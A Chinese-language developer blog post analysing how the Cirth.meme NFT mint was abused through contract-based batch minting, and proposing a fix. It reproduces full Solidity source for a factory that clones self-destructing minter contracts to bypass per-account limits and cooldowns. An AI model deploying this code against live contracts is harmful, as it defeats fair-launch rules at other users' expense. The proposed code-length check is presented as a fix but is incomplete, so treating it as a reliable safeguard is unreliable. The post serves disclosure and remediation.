关于使用合约批量铸造的原因分析与解决方案

Cirth.meme上线4天,各方面表现良好。但铸造代码中,发现存在使用合约来批量铸造的可能,这严重影响了公平铸造。

类似的交易记录见:https://etherscan.io/tx/0xa58e8039740892f59b25ec0e14ce63d3d5c62eba0b16cdcd61c65553d5c67874。

原因

社区提交上述交易后,经技术团队研究,复现了其操作,大概的方式为:写两个智能合约,一个为主控制合约,一个为铸造合约,在主控制合约中创建多个铸造合约,通过铸造合约伪造正常用户,去调用Cirth合约的mint方法。

下面是实现类似功能的智能合约源码:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.18;
import "@openzeppelin/contracts/proxy/Clones.sol";
import "@openzeppelin/contracts/access/Ownable.sol";

interface IFERC721C {
	function mint(address to) external;
}

interface ICallMint {
	function mint() external;
	function destroy() external;
}

contract BatchMint is Ownable {
	address public immutable tokenImplementation;

	event Deploy(address);

	constructor(address _ferc721) {
		tokenImplementation = address(new CallMint(msg.sender, _ferc721));
	}

	function deployAndMint(uint times) public onlyOwner() {
		for(uint i; i < times; i++) {
			address tokenAddress = Clones.clone(tokenImplementation);
			ICallMint(tokenAddress).mint();
			ICallMint(tokenAddress).destroy();
			emit Deploy(tokenAddress);
		}
	}
}

contract CallMint {
	address public immutable ferc721;
	address public immutable receiver;

	constructor(address _receiver, address _ferc721) {
		ferc721 = _ferc721;
		receiver = _receiver;
	}

	function mint() public {
		IFERC721C(ferc721).mint(receiver);
	}

	function destroy() public {
		selfdestruct(payable(receiver));
	}
}

解释:

  • BatchMint:主控制合约 批量铸造合约,该合约在构建时,创造一个CallMint合约的模版,在批量铸造方法deployAndMint中,通过Clone方法生成多个调用合约(即B合约)

  • CallMint:铸造合约 单次铸造后,立即销毁自己,在链上不留痕迹。铸造时,由合约调用人接收NFT。

  • 该方法经测试,单个NFT铸造的Gas费比正常铸造高30%。

  • 如果在切换调用合约时,同时转Ferc,可以实现只要拥有10个Ferc,就能给N个铸造合约使用。

  • 该方法不需要手动在钱包中开多个账户,并且可以绕开冷冻时间。

解决方案

在铸造方法中增加一个对调用账户的限制,即仅允许EOA账户调用,拒绝合约账户调用(包括AA账户),如下:

function mint(address _to) public payable {
    require(_tokenData.totalSupply < _tokenData.max / _tokenData.limit, "touch the max batch");
    require(_to != address(0), "mint to zero address");
    require(msg.sender.code.length == 0 && _to.code.length == 0, "contract account not support"); // 增加该行
    ...
}

以上更新将在下一版中实施,但这个解决方案的缺陷在于,将无法支持AA账户。

Subscribe to jackygu's blog
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.